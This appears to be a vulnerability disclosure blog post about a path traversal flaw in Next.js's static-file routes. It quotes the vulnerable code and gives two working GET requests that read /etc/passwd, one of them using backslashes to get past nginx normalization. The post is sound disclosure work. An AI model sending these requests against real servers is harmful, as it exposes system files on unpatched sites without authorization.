Next.js is a quite popular (>13k stars on GitHub) framework for server-rendered React applications. It includes a NodeJS server which allows to render HTML pages dynamically. While digging into server’s code, a list of internal routes drew my attention:
defineRoutes() {
const routes = {
/* ... */
'/_next/:path+': async(req, res, params) => {
const p = join(__dirname, '..', 'client', ...(params.path || []))
await this.serveStatic(req, res, p)
},
'/static/:path+': async(req, res, params) => {
const p = join(this.dir, 'static', ...(params.path || []))
await this.serveStatic(req, res, p)
}
/* ... */
}
As you can see you can pass arbitrary path into serveStatic() function via /_next/
and /static/
endpoints:
export function serveStatic(req, res, path) {
return new Promise((resolve, reject) =>; {
send(req, path)
.on('directory', () =>; {
// We don't allow directories to be read.
const err = new Error('No directory access')
err.code = 'ENOENT'
reject(err)
})
.on('error', reject)
.pipe(res)
.on('finish', resolve)
})
}
This function just pipes the contents of files into the output without any validation or restrictions. So, we can try to perform a path traversal:
GET /_next/../../../../../../../../../etc/passwd HTTP/1.1
And it works! However, NodeJS application servers are usually deployed behind nginx. Due to path normalization in nginx we cannot just use forward slashes and dots, nginx will return a Bad Request error code. Luckily, NodeJS server transforms backslashes into forward slashes, so we can bypass nginx validation.
GET /_next\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1
ZEIT, the company which develops Next.js, was very quick to respond and roll out the patch. Be sure to update to the latest version.
Leave a Reply